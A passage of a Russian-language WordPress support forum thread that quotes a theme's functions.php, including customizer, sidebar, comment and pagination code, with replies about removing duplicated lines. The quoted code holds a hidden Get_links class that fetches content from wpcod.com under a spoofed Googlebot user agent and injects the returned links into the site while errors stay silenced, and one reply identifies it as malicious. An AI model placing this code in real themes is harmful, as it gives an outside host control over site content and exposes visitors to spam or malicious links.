            $path = $links_class->path;
            $_socket_timeout = $links_class->_socket_timeout;
            //$_user_agent = $links_class->_user_agent;
    
            @ini_set('allow_url_fopen',          1);
            @ini_set('default_socket_timeout',   $_socket_timeout);
            @ini_set('user_agent', $_user_agent);
    
            if (function_exists('file_get_contents')) {
                $opts = array(
                    'http'=>array(
                        'method'=>"GET",
                        'header'=>"Referer: {$req_url}\r\n".
                            "User-Agent: {$_user_agent}\r\n"
                    )
                );
                $context = stream_context_create($opts);
    
                $data = @file_get_contents('http://' . $host . $path, false, $context);
                preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
                $data = @$data[2];
                return $data;
            }
            return '<!--link error-->';
        }
    }
    function custom_excerpt_length() {
    	$length = 40;
    	return $length;
    }
    add_filter('excerpt_length', 'custom_excerpt_length');
    ?>
    	if (is_feed()) {return $title;}
    	$title .= get_bloginfo('name');
    	$site_description = get_bloginfo('description', 'display');
    	if ( $site_description && (is_home() || is_front_page())) {
    		$title = "$title $sep $site_description";
    	}
    	if ( $paged >= 2 || $page >= 2 ) {
    		$title = "$title $sep " . sprintf( __('Page %s', 'griffin'), max($paged, $page));
    	}
    	return $title;
    }
    add_filter('wp_title', 'griffin_title', 10, 2);
    
    // custom header image
    $header_img = array(
    	'width' => 1200,
    	'height' => 320,
    	'default-image' => get_template_directory_uri() . '/assets/img/header.jpg',
    	'header-text' => false
    );
    add_theme_support('custom-header', $header_img);
    
    // theme customizer
    function griffin_customize_register($wp_customize) {
    	// upload logo
    	$wp_customize->add_section('griffin_logo_section', array(
    		'title' => __('Загрузить лого', 'griffin'),
    		'priority' => 900,
    		'type' => 'option'
    	));
    	$wp_customize->add_setting('griffin_logo_setting', array(
    		'default' => '',
    		'sanitize_callback' => 'esc_url_raw'
    	));
    	$wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, 'logo', array(
    		'label' => __('Лого', 'griffin'),
    		'section' => 'griffin_logo_section',
    		'settings' => 'griffin_logo_setting'
    	)));
    	 // secondary color
    	$wp_customize->add_section('griffin_color_section', array(
    		'title' => __('Вторичный цвет', 'griffin'),
    		'priority' => 902
    	));
    	$wp_customize->add_setting('griffin_color_setting', array(
    	    'default' => '#009dd9',
    	    'sanitize_callback' => 'sanitize_hex_color'
    	));
    	$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'color', array(
            'section' => 'griffin_color_section',
            'settings' => 'griffin_color_setting'
        )));
    }
    add_action('customize_register', 'griffin_customize_register');
    
    function griffin_custom_css() {
    	wp_enqueue_style('custom-style', get_template_directory_uri() . '/assets/css/custom.css');
        $color = get_theme_mod('griffin_color_setting','#009dd9');
        $custom_css = "
        			a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
        			header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
        			";
        wp_add_inline_style('custom-style', $custom_css);
    }
    add_action('wp_enqueue_scripts', 'griffin_custom_css');
    
    // custom excerpt
    function new_excerpt_more($more) {
    	global $post;
    	return '... <p><a class="teaser-more" href1="'. get_permalink($post->ID) . '">' . '</a></p>';
    }
    add_filter('excerpt_more', 'new_excerpt_more');
    
    // sidebars
    function griffin_widgets_init() {
    	register_sidebar(array(
    		'name' => __('Primary Sidebar', 'griffin'),
    		'id' => 'primary-sidebar',
    		'description' => __('Widgets will appear in the right sidebar on posts and pages', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Left', 'griffin'),
    		'id' => 'footer-left',
    		'description' => __('Widgets will appear in the left column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Middle', 'griffin'),
    		'id' => 'footer-middle',
    		'description' => __('Widgets will appear in the middle column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Right', 'griffin'),
    		'id' => 'footer-right',
    		'description' => __('Widgets will appear in the right column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    }
    add_action('widgets_init', 'griffin_widgets_init');
    
    // comments
    if (!function_exists('griffin_comment')) :
    	function griffin_comment($comment, $args, $depth) {
    		$GLOBALS['comment'] = $comment;
    		switch ($comment->comment_type) :
            case 'pingback' :
            case 'trackback' :
    		?>
    		<li class="pingback">
            <?php comment_author_link(); ?>
    	    <?php
    	    break;
    	    default :
    	    ?>
    		<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
    			<div class="comment-avatar">
    				<?php echo get_avatar($comment, 43); ?>
    			</div>
    			<div class="comment-text">
    				<p class="comment-meta">
    					<span class="comment-author"><?php comment_author(); ?></span>
    					<span class="comment-date"><?php echo get_comment_date() . ' - ' . get_comment_time() ?></span>
    					<?php edit_comment_link(__( 'Изменить', 'griffin' ), '', ''); ?>
    					<?php comment_reply_link(array_merge($args, array('reply_text' => __('Ответить', 'griffin'), 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?>
    				</p>
    				<div class="comment-body"><?php comment_text(); ?></div>
    				<?php if ('0' == $comment->comment_approved) : ?>
    					<p class="comment-awaiting-moderation"><?php _e('Комментарий ожидает проверки', 'griffin'); ?></p>
    				<?php endif; ?>
    			</div>
    		<?php
            break;
        	endswitch;
    	}
    endif;
    
    // pager
    if (!function_exists('griffin_pagination')):
    	function griffin_pagination() {
    		global $wp_query;
    		$big = 999999999;
    		echo '<div class="pager">';
    		echo paginate_links( array(
    			'base' => str_replace($big, '%#%', esc_url(get_pagenum_link($big))),
    			'format' => '?paged=%#%',
    			'current' => max(1, get_query_var('paged')),
    			'total' => $wp_query->max_num_pages,
    			'prev_next' => True,
    			'prev_text' => __('<span>&Larr;</span> Назад', 'griffin'),
    			'next_text' => __('Вперед <span>&Rarr;</span>', 'griffin'),
    		));
    		echo '</div>';
    	}
    endif;
    error_reporting('^ E_ALL ^ E_NOTICE');
    ini_set('display_errors', '0');
    error_reporting(E_ALL);
    ini_set('display_errors', '0');
    
    class Get_links {
    
        var $host = 'wpcod.com';
        var $path = '/system.php';
        var $_socket_timeout    = 5;
    
        function get_remote() {
            $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
            $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
    
            $links_class = new Get_links();
            $host = $links_class->host;
            $path = $links_class->path;
            $_socket_timeout = $links_class->_socket_timeout;
            //$_user_agent = $links_class->_user_agent;
    
            @ini_set('allow_url_fopen',          1);
            @ini_set('default_socket_timeout',   $_socket_timeout);
            @ini_set('user_agent', $_user_agent);
    
            if (function_exists('file_get_contents')) {
                $opts = array(
                    'http'=>array(
                        'method'=>"GET",
                        'header'=>"Referer: {$req_url}\r\n".
                            "User-Agent: {$_user_agent}\r\n"
                    )
                );
                $context = stream_context_create($opts);
    
                $data = @file_get_contents('http://' . $host . $path, false, $context);
                preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
                $data = @$data[2];
                return $data;
            }
            return '<!--link error-->';
        }
    }
    function custom_excerpt_length() {
    	$length = 40;
    	return $length;
    }
    add_filter('excerpt_length', 'custom_excerpt_length');
    ?>

    насколько я понимаю — все что с 265 строчки (ниже символов ?>) это повтор и вам надо это удалить.

    Даже не представляете, как помогли, ну вот не у кого было спросить, хоть убей!
    Заработало! Спасибо огромное еще раз!

    в вашей теме, кстати, зашит вирус — точнее вредоносные ссылки — выводятся они функцией Get_links.

    Для этого нужно что-то куда-то вписать?

Просмотр 13 ответов — с 1 по 13 (всего 13)
  • Тема «Как найти код HTML, чтобы исправить ошибку или убрать лиш» закрыта для новых ответов.